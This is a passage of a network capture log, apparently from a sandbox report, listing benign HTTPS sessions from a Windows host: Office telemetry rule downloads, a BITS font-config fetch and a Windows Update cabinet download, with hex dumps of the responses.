2024-11-20 20:05:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-1777c6cb754rz2pghC1TEBghen00000009yg00000000fhay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 8b710333-301e-0020-767a-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-185f5d8b95c5lcmhhC1NYCsnsw0000000arg00000000v4bt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-1777c6cb754vxwc9hC1TEBykgw00000009xg0000000101fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49737	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 20:05:32 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF17) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=247215 Date: Wed, 20 Nov 2024 20:05:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-185f5d8b95cdtclvhC1NYC4rmc0000000au000000000u4kt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49736	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GhlgeS7zsvE4lXZ&MD=FvGd25on HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 20:05:33 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2b78b9f3-44cc-4822-b4cd-91826ca3d20f MS-RequestId: d25001fe-4077-4626-b0dc-85b412a86128 MS-CV: TwMlOiMaP0OpOzGG.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 20:05:32 GMT Connection: close Content-Length: 24490
2024-11-20 20:05:33 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 20:05:33 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-r1d97b99577jlrkbhC1TEBq8d00000000980000000008n0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: b1468599-c01e-000b-43f3-3ae255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-r1d97b99577d6qrbhC1TEBux5s00000009b000000000vchq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-r1d97b99577ckpmjhC1TEBrzs000000009f00000000028wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5bcf05b2-a01e-006f-6e7a-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-1777c6cb754g9zd5hC1TEBfvpw0000000a8g000000005wtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49747	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 20:05:34 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=247213 Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 20:05:34 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200535Z-178bfbc474bwh9gmhC1NYCy3rs00000000mg0000000042n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
